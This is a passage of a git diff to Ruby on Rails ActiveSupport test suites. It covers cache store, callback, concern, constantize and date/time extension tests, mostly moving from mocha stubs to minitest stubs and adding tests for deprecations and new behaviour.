test_fetch_with_cache_miss_passes_key_to_block @@ -245,15 +252,32 @@ module CacheStoreBehavior def test_fetch_with_forced_cache_miss @cache.write('foo', 'bar') - @cache.expects(:read).never - @cache.expects(:write).with('foo', 'bar', @cache.options.merge(:force => true)) - @cache.fetch('foo', :force => true) { 'bar' } + assert_not_called(@cache, :read) do + assert_called_with(@cache, :write, ['foo', 'bar', @cache.options.merge(:force => true)]) do + @cache.fetch('foo', :force => true) { 'bar' } + end + end end def test_fetch_with_cached_nil @cache.write('foo', nil) - @cache.expects(:write).never - assert_nil @cache.fetch('foo') { 'baz' } + assert_not_called(@cache, :write) do + assert_nil @cache.fetch('foo') { 'baz' } + end + end + + def test_fetch_with_forced_cache_miss_with_block + @cache.write('foo', 'bar') + assert_equal 'foo_bar', @cache.fetch('foo', force: true) { 'foo_bar' } + end + + def test_fetch_with_forced_cache_miss_without_block + @cache.write('foo', 'bar') + assert_raises(ArgumentError) do + @cache.fetch('foo', force: true) + end + + assert_equal 'bar', @cache.read('foo') end def test_should_read_and_write_hash @@ -288,8 +312,9 @@ module CacheStoreBehavior @cache.write('foo', 'bar', :expires_in => 10) @cache.write('fu', 'baz') @cache.write('fud', 'biz') - Time.stubs(:now).returns(time + 11) - assert_equal({"fu" => "baz"}, @cache.read_multi('foo', 'fu')) + Time.stub(:now, time + 11) do + assert_equal({"fu" => "baz"}, @cache.read_multi('foo', 'fu')) + end end def test_fetch_multi @@ -303,8 +328,9 @@ module CacheStoreBehavior end def test_multi_with_objects - foo = stub(:title => 'FOO!', :cache_key => 'foo') - bar = stub(:cache_key => 'bar') + cache_struct = Struct.new(:cache_key, :title) + foo = cache_struct.new('foo', 'FOO!') + bar = cache_struct.new('bar') @cache.write('bar', 'BAM!') @@ -387,66 +413,74 @@ module CacheStoreBehavior def test_expires_in time = Time.local(2008, 4, 24) - Time.stubs(:now).returns(time) - @cache.write('foo', 'bar') - assert_equal 'bar', @cache.read('foo') + Time.stub(:now, time) do + @cache.write('foo', 'bar') + assert_equal 'bar', @cache.read('foo') + end - Time.stubs(:now).returns(time + 30) - assert_equal 'bar', @cache.read('foo') + Time.stub(:now, time + 30) do + assert_equal 'bar', @cache.read('foo') + end - Time.stubs(:now).returns(time + 61) - assert_nil @cache.read('foo') + Time.stub(:now, time + 61) do + assert_nil @cache.read('foo') + end end def test_race_condition_protection_skipped_if_not_defined @cache.write('foo', 'bar') - time = @cache.send(:read_entry, 'foo', {}).expires_at - Time.stubs(:now).returns(Time.at(time)) + time = @cache.send(:read_entry, @cache.send(:normalize_key, 'foo', {}), {}).expires_at - result = @cache.fetch('foo') do - assert_equal nil, @cache.read('foo') - 'baz' + Time.stub(:now, Time.at(time)) do + result = @cache.fetch('foo') do + assert_equal nil, @cache.read('foo') + 'baz' + end + assert_equal 'baz', result end - assert_equal 'baz', result end def test_race_condition_protection_is_limited time = Time.now @cache.write('foo', 'bar', :expires_in => 60) - Time.stubs(:now).returns(time + 71) - result = @cache.fetch('foo', :race_condition_ttl => 10) do - assert_equal nil, @cache.read('foo') - "baz" + Time.stub(:now, time + 71) do + result = @cache.fetch('foo', :race_condition_ttl => 10) do + assert_equal nil, @cache.read('foo') + "baz" + end + assert_equal "baz", result end - assert_equal "baz", result end def test_race_condition_protection_is_safe time = Time.now @cache.write('foo', 'bar', :expires_in => 60) - Time.stubs(:now).returns(time + 61) - begin - @cache.fetch('foo', :race_condition_ttl => 10) do - assert_equal 'bar', @cache.read('foo') - raise ArgumentError.new + Time.stub(:now, time + 61) do + begin + @cache.fetch('foo', :race_condition_ttl => 10) do + assert_equal 'bar', @cache.read('foo') + raise ArgumentError.new + end + rescue ArgumentError end - rescue ArgumentError + assert_equal "bar", @cache.read('foo') + end + Time.stub(:now, time + 91) do + assert_nil @cache.read('foo') end - assert_equal "bar", @cache.read('foo') - Time.stubs(:now).returns(time + 91) - assert_nil @cache.read('foo') end def test_race_condition_protection time = Time.now @cache.write('foo', 'bar', :expires_in => 60) - Time.stubs(:now).returns(time + 61) - result = @cache.fetch('foo', :race_condition_ttl => 10) do - assert_equal 'bar', @cache.read('foo') - "baz" + Time.stub(:now, time + 61) do + result = @cache.fetch('foo', :race_condition_ttl => 10) do + assert_equal 'bar', @cache.read('foo') + "baz" + end + assert_equal "baz", result end - assert_equal "baz", result end def test_crazy_key_characters @@ -470,6 +504,44 @@ module CacheStoreBehavior assert_equal({key => "bar"}, @cache.read_multi(key)) assert @cache.delete(key) end + + def test_cache_hit_instrumentation + key = "test_key" + @events = [] + ActiveSupport::Notifications.subscribe "cache_read.active_support" do |*args| + @events << ActiveSupport::Notifications::Event.new(*args) + end + assert @cache.write(key, "1", :raw => true) + assert @cache.fetch(key) {} + assert_equal 1, @events.length + assert_equal 'cache_read.active_support', @events[0].name + assert_equal :fetch, @events[0].payload[:super_operation] + assert @events[0].payload[:hit] + ensure + ActiveSupport::Notifications.unsubscribe "cache_read.active_support" + end + + def test_cache_miss_instrumentation + @events = [] + ActiveSupport::Notifications.subscribe(/^cache_(.*)\.active_support$/) do |*args| + @events << ActiveSupport::Notifications::Event.new(*args) + end + assert_not @cache.fetch("bad_key") {} + assert_equal 3, @events.length + assert_equal 'cache_read.active_support', @events[0].name + assert_equal 'cache_generate.active_support', @events[1].name + assert_equal 'cache_write.active_support', @events[2].name + assert_equal :fetch, @events[0].payload[:super_operation] + assert_not @events[0].payload[:hit] + ensure + ActiveSupport::Notifications.unsubscribe "cache_read.active_support" + end + + def test_can_call_deprecated_namesaced_key + assert_deprecated "`namespaced_key` is deprecated" do + @cache.send(:namespaced_key, 111, {}) + end + end end # https://rails.lighthouseapp.com/projects/8994/tickets/6225-memcachestore-cant-deal-with-umlauts-and-special-characters @@ -577,6 +649,21 @@ module LocalCacheBehavior end end + def test_local_cache_of_read_nil + @cache.with_local_cache do + assert_equal nil, @cache.read('foo') + @cache.send(:bypass_local_cache) { @cache.write 'foo', 'bar' } + assert_equal nil, @cache.read('foo') + end + end + + def test_local_cache_fetch + @cache.with_local_cache do + @cache.send(:local_cache).write 'foo', 'bar' + assert_equal 'bar', @cache.send(:local_cache).fetch('foo') + end + end + def test_local_cache_of_write_nil @cache.with_local_cache do assert @cache.write('foo', nil) @@ -630,43 +717,52 @@ module LocalCacheBehavior app = @cache.middleware.new(app) app.call({}) end + + def test_can_call_deprecated_set_cache_value + @cache.with_local_cache do + assert_deprecated "`set_cache_value` is deprecated" do + @cache.send(:set_cache_value, 1, 'foo', :ignored, {}) + end + assert_equal 1, @cache.read('foo') + end + end end module AutoloadingCacheBehavior include DependenciesTestHelpers def test_simple_autoloading with_autoloading_fixtures do - @cache.write('foo', E.new) + @cache.write('foo', EM.new) end - remove_constants(:E) + remove_constants(:EM) ActiveSupport::Dependencies.clear with_autoloading_fixtures do - assert_kind_of E, @cache.read('foo') + assert_kind_of EM, @cache.read('foo') end - remove_constants(:E) + remove_constants(:EM) ActiveSupport::Dependencies.clear end def test_two_classes_autoloading with_autoloading_fixtures do - @cache.write('foo', [E.new, ClassFolder.new]) + @cache.write('foo', [EM.new, ClassFolder.new]) end - remove_constants(:E, :ClassFolder) + remove_constants(:EM, :ClassFolder) ActiveSupport::Dependencies.clear with_autoloading_fixtures do loaded = @cache.read('foo') assert_kind_of Array, loaded assert_equal 2, loaded.size - assert_kind_of E, loaded[0] + assert_kind_of EM, loaded[0] assert_kind_of ClassFolder, loaded[1] end - remove_constants(:E, :ClassFolder) + remove_constants(:EM, :ClassFolder) ActiveSupport::Dependencies.clear end end @@ -684,6 +780,7 @@ class FileStoreTest < ActiveSupport::TestCase def teardown FileUtils.rm_r(cache_dir) + rescue Errno::ENOENT end def cache_dir @@ -697,10 +794,17 @@ class FileStoreTest < ActiveSupport::TestCase include AutoloadingCacheBehavior def test_clear - filepath = File.join(cache_dir, ".gitkeep") - FileUtils.touch(filepath) + gitkeep = File.join(cache_dir, ".gitkeep") + keep = File.join(cache_dir, ".keep") + FileUtils.touch([gitkeep, keep]) + @cache.clear + assert File.exist?(gitkeep) + assert File.exist?(keep) + end + + def test_clear_without_cache_dir + FileUtils.rm_r(cache_dir) @cache.clear - assert File.exist?(filepath) end def test_long_keys @@ -708,14 +812,19 @@ class FileStoreTest < ActiveSupport::TestCase assert_equal 1, @cache.read("a"*10000) end + def test_long_uri_encoded_keys + @cache.write("%"*870, 1) + assert_equal 1, @cache.read("%"*870) + end + def test_key_transformation - key = @cache.send(:key_file_path, "views/index?id=1") + key = @cache.send(:normalize_key, "views/index?id=1", {}) assert_equal "views/index?id=1", @cache.send(:file_path_key, key) end def test_key_transformation_with_pathname FileUtils.touch(File.join(cache_dir, "foo")) - key = @cache_with_pathname.send(:key_file_path, "views/index?id=1") + key = @cache_with_pathname.send(:normalize_key, "views/index?id=1", {}) assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key) end @@ -723,7 +832,7 @@ class FileStoreTest < ActiveSupport::TestCase # remain valid def test_filename_max_size key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}" - path = @cache.send(:key_file_path, key) + path = @cache.send(:normalize_key, key, {}) Dir::Tmpname.create(path) do |tmpname, n, opts| assert File.basename(tmpname+'.lock').length <= 255, "Temp filename too long: #{File.basename(tmpname+'.lock').length}" end @@ -733,7 +842,7 @@ class FileStoreTest < ActiveSupport::TestCase # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B def test_key_transformation_max_filename_size key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B" - path = @cache.send(:key_file_path, key) + path = @cache.send(:normalize_key, key, {}) assert path.split('/').all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE} assert_equal 'B', File.basename(path) end @@ -741,7 +850,7 @@ class FileStoreTest < ActiveSupport::TestCase # If nothing has been stored in the cache, there is a chance the cache directory does not yet exist # Ensure delete_matched gracefully handles this case def test_delete_matched_when_cache_directory_does_not_exist - assert_nothing_raised(Exception) do + assert_nothing_raised do ActiveSupport::Cache::FileStore.new('/test/cache/directory').delete_matched(/does_not_exist/) end end @@ -749,7 +858,7 @@ class FileStoreTest < ActiveSupport::TestCase def test_delete_does_not_delete_empty_parent_dir sub_cache_dir = File.join(cache_dir, 'subdir/') sub_cache_store = ActiveSupport::Cache::FileStore.new(sub_cache_dir) - assert_nothing_raised(Exception) do + assert_nothing_raised do assert sub_cache_store.write('foo', 'bar') assert sub_cache_store.delete('foo') end @@ -759,9 +868,10 @@ class FileStoreTest < ActiveSupport::TestCase end def test_log_exception_when_cache_read_fails - File.expects(:exist?).raises(StandardError, "failed") - @cache.send(:read_entry, "winston", {}) - assert @buffer.string.present? + File.stub(:exist?, -> { raise StandardError.new("failed") }) do + @cache.send(:read_entry, "winston", {}) + assert @buffer.string.present? + end end def test_cleanup_removes_all_expired_entries @@ -769,11 +879,12 @@ class FileStoreTest < ActiveSupport::TestCase @cache.write('foo', 'bar', expires_in: 10) @cache.write('baz', 'qux') @cache.write('quux', 'corge', expires_in: 20) - Time.stubs(:now).returns(time + 15) - @cache.cleanup - assert_not @cache.exist?('foo') - assert @cache.exist?('baz') - assert @cache.exist?('quux') + Time.stub(:now, time + 15) do + @cache.cleanup + assert_not @cache.exist?('foo') + assert @cache.exist?('baz') + assert @cache.exist?('quux') + end end def test_write_with_unless_exist @@ -782,6 +893,12 @@ class FileStoreTest < ActiveSupport::TestCase @cache.write(1, nil) assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true) end + + def test_can_call_deprecated_key_file_path + assert_deprecated "`key_file_path` is deprecated" do + assert_equal 111, @cache.send(:key_file_path, 111) + end + end end class MemoryStoreTest < ActiveSupport::TestCase @@ -956,6 +1073,12 @@ class MemCacheStoreTest < ActiveSupport::TestCase value << 'bingo' assert_not_equal value, @cache.read('foo') end + + def test_can_call_deprecated_escape_key + assert_deprecated "`escape_key` is deprecated" do + assert_equal 111, @cache.send(:escape_key, 111) + end + end end class NullStoreTest < ActiveSupport::TestCase @@ -1010,10 +1133,6 @@ class NullStoreTest < ActiveSupport::TestCase end assert_nil @cache.read("name") end - - def test_setting_nil_cache_store - assert ActiveSupport::Cache.lookup_store.class.name, ActiveSupport::Cache::NullStore.name - end end class CacheStoreLoggerTest < ActiveSupport::TestCase @@ -1029,18 +1148,22 @@ class CacheStoreLoggerTest < ActiveSupport::TestCase assert @buffer.string.present? end - def test_mute_logging - @cache.mute { @cache.fetch('foo') { 'bar' } } - assert @buffer.string.blank? + def test_log_with_string_namespace + @cache.fetch('foo', {namespace: 'string_namespace'}) { 'bar' } + assert_match %r{string_namespace:foo}, @buffer.string end - def test_multi_read_loggin - @cache.write 'hello', 'goodbye' - @cache.write 'world', 'earth' - - @cache.read_multi('hello', 'world') + def test_log_with_proc_namespace + proc = Proc.new do + "proc_namespace" + end + @cache.fetch('foo', {:namespace => proc}) { 'bar' } + assert_match %r{proc_namespace:foo}, @buffer.string + end - assert_match "Caches multi read:\n- hello\n- world", @buffer.string + def test_mute_logging + @cache.mute { @cache.fetch('foo') { 'bar' } } + assert @buffer.string.blank? end end @@ -1050,9 +1173,9 @@ class CacheEntryTest < ActiveSupport::TestCase assert !entry.expired?, 'entry not expired' entry = ActiveSupport::Cache::Entry.new("value", :expires_in => 60) assert !entry.expired?, 'entry not expired' - time = Time.now + 61 - Time.stubs(:now).returns(time) - assert entry.expired?, 'entry is expired' + Time.stub(:now, Time.now + 61) do + assert entry.expired?, 'entry is expired' + end end def test_compress_values diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb index f6abef8cee..a624473f46 100644 --- a/activesupport/test/callbacks_test.rb +++ b/activesupport/test/callbacks_test.rb @@ -59,7 +59,7 @@ module CallbacksTest [:before_save, :after_save].each do |callback_method| callback_method_sym = callback_method.to_sym send(callback_method, callback_symbol(callback_method_sym)) - send(callback_method, callback_string(callback_method_sym)) + ActiveSupport::Deprecation.silence { send(callback_method, callback_string(callback_method_sym)) } send(callback_method, callback_proc(callback_method_sym)) send(callback_method, callback_object(callback_method_sym.to_s.gsub(/_save/, ''))) send(callback_method, CallbackClass) @@ -73,8 +73,8 @@ module CallbacksTest class PersonSkipper < Person skip_callback :save, :before, :before_save_method, :if => :yes - skip_callback :save, :after, :before_save_method, :unless => :yes - skip_callback :save, :after, :before_save_method, :if => :no + skip_callback :save, :after, :after_save_method, :unless => :yes + skip_callback :save, :after, :after_save_method, :if => :no skip_callback :save, :before, :before_save_method, :unless => :no skip_callback :save, :before, CallbackClass , :if => :yes def yes; true; end @@ -228,7 +228,7 @@ module CallbacksTest set_callback :save, :before, :nope, :if => :no set_callback :save, :before, :nope, :unless => :yes set_callback :save, :after, :tweedle - set_callback :save, :before, "tweedle_dee" + ActiveSupport::Deprecation.silence { set_callback :save, :before, "tweedle_dee" } set_callback :save, :before, proc {|m| m.history << "yup" } set_callback :save, :before, :nope, :if => proc { false } set_callback :save, :before, :nope, :unless => proc { true } @@ -766,34 +766,30 @@ module CallbacksTest end class CallbackFalseTerminatorWithoutConfigTest < ActiveSupport::TestCase - def test_returning_false_halts_callback_if_config_variable_is_not_set + def test_returning_false_does_not_halt_callback_if_config_variable_is_not_set obj = CallbackFalseTerminator.new - assert_deprecated do - obj.save - assert_equal :second, obj.halted - assert !obj.saved - end + obj.save + assert_equal nil, obj.halted + assert obj.saved end end class CallbackFalseTerminatorWithConfigTrueTest < ActiveSupport::TestCase def setup - ActiveSupport::Callbacks::CallbackChain.halt_and_display_warning_on_return_false = true + ActiveSupport::Callbacks.halt_and_display_warning_on_return_false = true end - def test_returning_false_halts_callback_if_config_variable_is_true + def test_returning_false_does_not_halt_callback_if_config_variable_is_true obj = CallbackFalseTerminator.new - assert_deprecated do - obj.save - assert_equal :second, obj.halted - assert !obj.saved - end + obj.save + assert_equal nil, obj.halted + assert obj.saved end end class CallbackFalseTerminatorWithConfigFalseTest < ActiveSupport::TestCase def setup - ActiveSupport::Callbacks::CallbackChain.halt_and_display_warning_on_return_false = false + ActiveSupport::Callbacks.halt_and_display_warning_on_return_false = false end def test_returning_false_does_not_halt_callback_if_config_variable_is_false @@ -1021,7 +1017,7 @@ module CallbacksTest define_callbacks :foo n.times { set_callback :foo, :before, callback } def run; run_callbacks :foo; end - def self.skip(thing); skip_callback :foo, :before, thing; end + def self.skip(*things); skip_callback :foo, :before, *things; end } end @@ -1050,7 +1046,7 @@ module CallbacksTest def test_add_eval calls = [] - klass = build_class("bar") + klass = ActiveSupport::Deprecation.silence { build_class("bar") } klass.class_eval { define_method(:bar) { calls << klass } } klass.new.run assert_equal 1, calls.length @@ -1070,11 +1066,11 @@ module CallbacksTest } end - def test_skip_lambda # removes nothing + def test_skip_lambda # raises error calls = [] callback = ->(o) { calls << o } klass = build_class(callback) - 10.times { klass.skip callback } + assert_raises(ArgumentError) { klass.skip callback } klass.new.run assert_equal 10, calls.length end @@ -1088,13 +1084,41 @@ module CallbacksTest assert_equal 0, calls.length end - def test_skip_eval # removes nothing + def test_skip_string # raises error + calls = [] + klass = ActiveSupport::Deprecation.silence { build_class("bar") } + klass.class_eval { define_method(:bar) { calls << klass } } + assert_raises(ArgumentError) { klass.skip "bar" } + klass.new.run + assert_equal 1, calls.length + end + + def test_skip_undefined_callback # raises error calls = [] - klass = build_class("bar") + klass = build_class(:bar) klass.class_eval { define_method(:bar) { calls << klass } } - klass.skip "bar" + assert_raises(ArgumentError) { klass.skip :qux } klass.new.run assert_equal 1, calls.length end + + def test_skip_without_raise # removes nothing + calls = [] + klass = build_class(:bar) + klass.class_eval { define_method(:bar) { calls << klass } } + klass.skip :qux, raise: false + klass.new.run + assert_equal 1, calls.length + end + end + + class DeprecatedWarningTest < ActiveSupport::TestCase + def test_deprecate_string_callback + klass = Class.new(Record) + + assert_deprecated do + klass.send :before_save, "tweedle_dee" + end + end end end diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb index 253c1adc23..8ea701cfb7 100644 --- a/activesupport/test/concern_test.rb +++ b/activesupport/test/concern_test.rb @@ -54,6 +54,11 @@ class ConcernTest < ActiveSupport::TestCase include Bar, Baz end + module Qux + module ClassMethods + end + end + def setup @klass = Class.new end @@ -70,6 +75,26 @@ class ConcernTest < ActiveSupport::TestCase assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; self.included_modules; end)[0] end + def test_class_methods_are_extended_only_on_expected_objects + ::Object.__send__(:include, Qux) + Object.extend(Qux::ClassMethods) + # module needs to be created after Qux is included in Object or bug won't + # be triggered + test_module = Module.new do + extend ActiveSupport::Concern + + class_methods do + def test + end + end + end + @klass.include test_module + assert_equal false, Object.respond_to?(:test) + Qux.class_eval do + remove_const :ClassMethods + end + end + def test_included_block_is_ran @klass.include(Baz) assert_equal true, @klass.included_ran diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb index 366e4e5ef0..1115bc0fd8 100644 --- a/activesupport/test/constantize_test_cases.rb +++ b/activesupport/test/constantize_test_cases.rb @@ -100,6 +100,10 @@ module ConstantizeTestCases assert_nil yield("Ace::Gas::ConstantizeTestCases") assert_nil yield("#<Class:0x7b8b718b>::Nested_1") assert_nil yield("Ace::gas") + assert_nil yield('Object::ABC') + assert_nil yield('Object::Object::Object::ABC') + assert_nil yield('A::Object::B') + assert_nil yield('A::Object::Object::Object::B') assert_raises(NameError) do with_autoloading_fixtures do diff --git a/activesupport/test/core_ext/array/access_test.rb b/activesupport/test/core_ext/array/access_test.rb index 3f1e0c4cb4..1d834667f0 100644 --- a/activesupport/test/core_ext/array/access_test.rb +++ b/activesupport/test/core_ext/array/access_test.rb @@ -26,6 +26,8 @@ class AccessTest < ActiveSupport::TestCase assert_equal array[3], array.fourth assert_equal array[4], array.fifth assert_equal array[41], array.forty_two + assert_equal array[-3], array.third_to_last + assert_equal array[-2], array.second_to_last end def test_without diff --git a/activesupport/test/core_ext/array/conversions_test.rb b/activesupport/test/core_ext/array/conversions_test.rb index 577b889410..507e13f968 100644 --- a/activesupport/test/core_ext/array/conversions_test.rb +++ b/activesupport/test/core_ext/array/conversions_test.rb @@ -60,6 +60,12 @@ class ToSentenceTest < ActiveSupport::TestCase assert_equal exception.message, "Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale" end + + def test_always_returns_string + assert_instance_of String, [ActiveSupport::SafeBuffer.new('one')].to_sentence + assert_instance_of String, [ActiveSupport::SafeBuffer.new('one'), 'two'].to_sentence + assert_instance_of String, [ActiveSupport::SafeBuffer.new('one'), 'two', 'three'].to_sentence + end end class ToSTest < ActiveSupport::TestCase diff --git a/activesupport/test/core_ext/array/grouping_test.rb b/activesupport/test/core_ext/array/grouping_test.rb index 2eb0f05141..fb7367b0bf 100644 --- a/activesupport/test/core_ext/array/grouping_test.rb +++ b/activesupport/test/core_ext/array/grouping_test.rb @@ -123,4 +123,12 @@ class SplitTest < ActiveSupport::TestCase assert_equal [[], [2, 3, 4], []], a.split { |i| i == 1 || i == 5 } assert_equal [1, 2, 3, 4, 5], a end + + def test_split_with_repeated_values + a = [1, 2, 3, 5, 5, 3, 4, 6, 2, 1, 3] + assert_equal [[1, 2], [5, 5], [4, 6, 2, 1], []], a.split(3) + assert_equal [[1, 2, 3], [], [3, 4, 6, 2, 1, 3]], a.split(5) + assert_equal [[1, 2], [], [], [], [4, 6, 2, 1], []], a.split { |i| i == 3 || i == 5 } + assert_equal [1, 2, 3, 5, 5, 3, 4, 6, 2, 1, 3], a + end end diff --git a/activesupport/test/core_ext/bigdecimal_test.rb b/activesupport/test/core_ext/bigdecimal_test.rb index 423a3f2e9d..6e82e3892b 100644 --- a/activesupport/test/core_ext/bigdecimal_test.rb +++ b/activesupport/test/core_ext/bigdecimal_test.rb @@ -5,5 +5,7 @@ class BigDecimalTest < ActiveSupport::TestCase def test_to_s bd = BigDecimal.new '0.01' assert_equal '0.01', bd.to_s + assert_equal '+0.01', bd.to_s('+F') + assert_equal '+0.0 1', bd.to_s('+1F') end end diff --git a/activesupport/test/core_ext/class/delegating_attributes_test.rb b/activesupport/test/core_ext/class/delegating_attributes_test.rb deleted file mode 100644 index 447b1d10ad..0000000000 --- a/activesupport/test/core_ext/class/delegating_attributes_test.rb +++ /dev/null @@ -1,122 +0,0 @@ -require 'abstract_unit' -require 'active_support/core_ext/class/delegating_attributes' - -module DelegatingFixtures - class Parent - end - - class Child < Parent - ActiveSupport::Deprecation.silence do - superclass_delegating_accessor :some_attribute - end - end - - class Mokopuna < Child - end - - class PercysMom - ActiveSupport::Deprecation.silence do - superclass_delegating_accessor :superpower - end - end - - class Percy < PercysMom - end -end - -class DelegatingAttributesTest < ActiveSupport::TestCase - include DelegatingFixtures - attr_reader :single_class - - def setup - @single_class = Class.new(Object) - end - - def test_simple_accessor_declaration - assert_deprecated do - single_class.superclass_delegating_accessor :both - end - - # Class should have accessor and mutator - # the instance should have an accessor only - assert_respond_to single_class, :both - assert_respond_to single_class, :both= - assert single_class.public_instance_methods.map(&:to_s).include?("both") - assert !single_class.public_instance_methods.map(&:to_s).include?("both=") - end - - def test_simple_accessor_declaration_with_instance_reader_false - _instance_methods = single_class.public_instance_methods - - assert_deprecated do - single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false - end - - assert_respond_to single_class, :no_instance_reader - assert_respond_to single_class, :no_instance_reader= - assert !_instance_methods.include?(:no_instance_reader) - assert !_instance_methods.include?(:no_instance_reader?) - assert !_instance_methods.include?(:_no_instance_reader) - end - - def test_working_with_simple_attributes - assert_deprecated do - single_class.superclass_delegating_accessor :both - end - - single_class.both = "HMMM" - - assert_equal "HMMM", single_class.both - assert_equal true, single_class.both? - - assert_equal "HMMM", single_class.new.both - assert_equal true, single_class.new.both? - - single_class.both = false - assert_equal false, single_class.both? - end - - def test_child_class_delegates_to_parent_but_can_be_overridden - parent = Class.new - - assert_deprecated do - parent.superclass_delegating_accessor :both - end - - child = Class.new(parent) - parent.both = "1" - assert_equal "1", child.both - - child.both = "2" - assert_equal "1", parent.both - assert_equal "2", child.both - - parent.both = "3" - assert_equal "3", parent.both - assert_equal "2", child.both - end - - def test_delegation_stops_at_the_right_level - assert_nil Percy.superpower - assert_nil PercysMom.superpower - - PercysMom.superpower = :heatvision - assert_equal :heatvision, Percy.superpower - end - - def test_delegation_stops_for_nil - Mokopuna.some_attribute = nil - Child.some_attribute="1" - - assert_equal "1", Child.some_attribute - assert_nil Mokopuna.some_attribute - ensure - Child.some_attribute=nil - end - - def test_deprecation_warning - assert_deprecated(/superclass_delegating_accessor is deprecated/) do - single_class.superclass_delegating_accessor :test_attribute - end - end -end diff --git a/activesupport/test/core_ext/date_and_time_behavior.rb b/activesupport/test/core_ext/date_and_time_behavior.rb index 784547bdf8..54df87def8 100644 --- a/activesupport/test/core_ext/date_and_time_behavior.rb +++ b/activesupport/test/core_ext/date_and_time_behavior.rb @@ -301,6 +301,16 @@ module DateAndTimeBehavior assert_not date_time_init(2015,1,5,15,15,10).on_weekend? end + def test_on_weekday_on_sunday + assert_not date_time_init(2015,1,4,0,0,0).on_weekday? + assert_not date_time_init(2015,1,4,15,15,10).on_weekday? + end + + def test_on_weekday_on_monday + assert date_time_init(2015,1,5,0,0,0).on_weekday? + assert date_time_init(2015,1,5,15,15,10).on_weekday? + end + def with_bw_default(bw = :monday) old_bw = Date.beginning_of_week Date.beginning_of_week = bw diff --git a/activesupport/test/core_ext/date_and_time_compatibility_test.rb b/activesupport/test/core_ext/date_and_time_compatibility_test.rb new file mode 100644 index 0000000000..11cb1469da --- /dev/null +++ b/activesupport/test/core_ext/date_and_time_compatibility_test.rb @@ -0,0 +1,127 @@ +require 'abstract_unit' +require 'active_support/time' +require 'time_zone_test_helpers' + +class DateAndTimeCompatibilityTest < ActiveSupport::TestCase + include TimeZoneTestHelpers + + def setup + @utc_time = Time.utc(2016, 4, 23, 14, 11, 12) + @date_time = DateTime.new(2016, 4, 23, 14, 11, 12, 0) + @utc_offset = 3600 + @system_offset = -14400 + @zone = ActiveSupport::TimeZone['London'] + end + + def test_time_to_time_preserves_timezone + with_preserve_timezone(true) do + with_env_tz 'US/Eastern' do + time = Time.new(2016, 4, 23, 15, 11, 12, 3600).to_time + + assert_instance_of Time, time + assert_equal @utc_time, time.getutc + assert_equal @utc_offset, time.utc_offset + end + end + end + + def test_time_to_time_does_not_preserve_time_zone + with_preserve_timezone(false) do + with_env_tz 'US/Eastern' do + time = Time.new(2016, 4, 23, 15, 11, 12, 3600).to_time + + assert_instance_of Time, time + assert_equal @utc_time, time.getutc + assert_equal @system_offset, time.utc_offset + end + end + end + + def test_datetime_to_time_preserves_timezone + with_preserve_timezone(true) do + with_env_tz 'US/Eastern' do + time = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1,24)).to_time + + assert_instance_of Time, time + assert_equal @utc_time, time.getutc + assert_equal @utc_offset, time.utc_offset + end + end + end + + def test_datetime_to_time_does_not_preserve_time_zone + with_preserve_timezone(false) do + with_env_tz 'US/Eastern' do + time = DateTime.new(2016, 4, 23, 15, 11, 12, Rational(1,24)).to_time + + assert_instance_of Time, time + assert_equal @utc_time, time.getutc + assert_equal @system_offset, time.utc_offset + end + end + end + + def test_twz_to_time_preserves_timezone + with_preserve_timezone(true) do + with_env_tz 'US/Eastern' do + time = ActiveSupport::TimeWithZone.new(@utc_time, @zone).to_time + + assert_instance_of Time, time + assert_equal @utc_time, time.getutc + assert_instance_of Time, time.getutc + assert_equal @utc_offset, time.utc_offset + + time = ActiveSupport::TimeWithZone.new(@date_time, @zone).to_time + + assert_instance_of Time, time + assert_equal @date_time, time.getutc + assert_instance_of Time, time.getutc + assert_equal @utc_offset, time.utc_offset + end + end + end + + def test_twz_to_time_does_not_preserve_time_zone + with_preserve_timezone(false) do + with_env_tz 'US/Eastern' do + time = ActiveSupport::TimeWithZone.new(@utc_time, @zone).to_time + + assert_instance_of Time, time + assert_equal @utc_time, time.getutc + assert_instance_of Time, time.getutc + assert_equal @system_offset, time.utc_offset + + time = ActiveSupport::TimeWithZone.new(@date_time, @zone).to_time + + assert_instance_of Time, time + assert_equal @date_time, time.getutc + assert_instance_of Time, time.getutc + assert_equal @system_offset, time.utc_offset + end + end + end + + def test_string_to_time_preserves_timezone + with_preserve_timezone(true) do + with_env_tz 'US/Eastern' do + time = "2016-04-23T15:11:12+01:00".to_time + + assert_instance_of Time, time + assert_equal @utc_time, time.getutc + assert_equal @utc_offset, time.utc_offset + end + end + end + + def test_string_to_time_does_not_preserve_time_zone + with_preserve_timezone(false) do + with_env_tz 'US/Eastern' do + time = "2016-04-23T15:11:12+01:00".to_time + + assert_instance_of Time, time + assert_equal @utc_time, time.getutc + assert_equal @system_offset, time.utc_offset + end + end + end +end diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb index e89be25b53..8052d38c33 100644 --- a/activesupport/test/core_ext/date_ext_test.rb +++ b/activesupport/test/core_ext/date_ext_test.rb @@ -49,6 +49,10 @@ class DateExtCalculationsTest < ActiveSupport::TestCase end end end + + assert_raise(ArgumentError) do + Date.new(2005, 2, 21).to_time(:tokyo) + end end def test_compare_to_time @@ -191,8 +195,9 @@ class DateExtCalculationsTest < ActiveSupport::TestCase def test_yesterday_constructor_when_zone_is_set with_env_tz 'UTC' do with_tz_default ActiveSupport::TimeZone['Eastern Time (US & Canada)'] do # UTC -5 - Time.stubs(:now).returns Time.local(2000, 1, 1) - assert_equal Date.new(1999, 12, 30), Date.yesterday + Time.stub(:now, Time.local(2000, 1, 1)) do + assert_equal Date.new(1999, 12, 30), Date.yesterday + end end end end @@ -212,8 +217,9 @@ class DateExtCalculationsTest < ActiveSupport::TestCase def test_tomorrow_constructor_when_zone_is_set 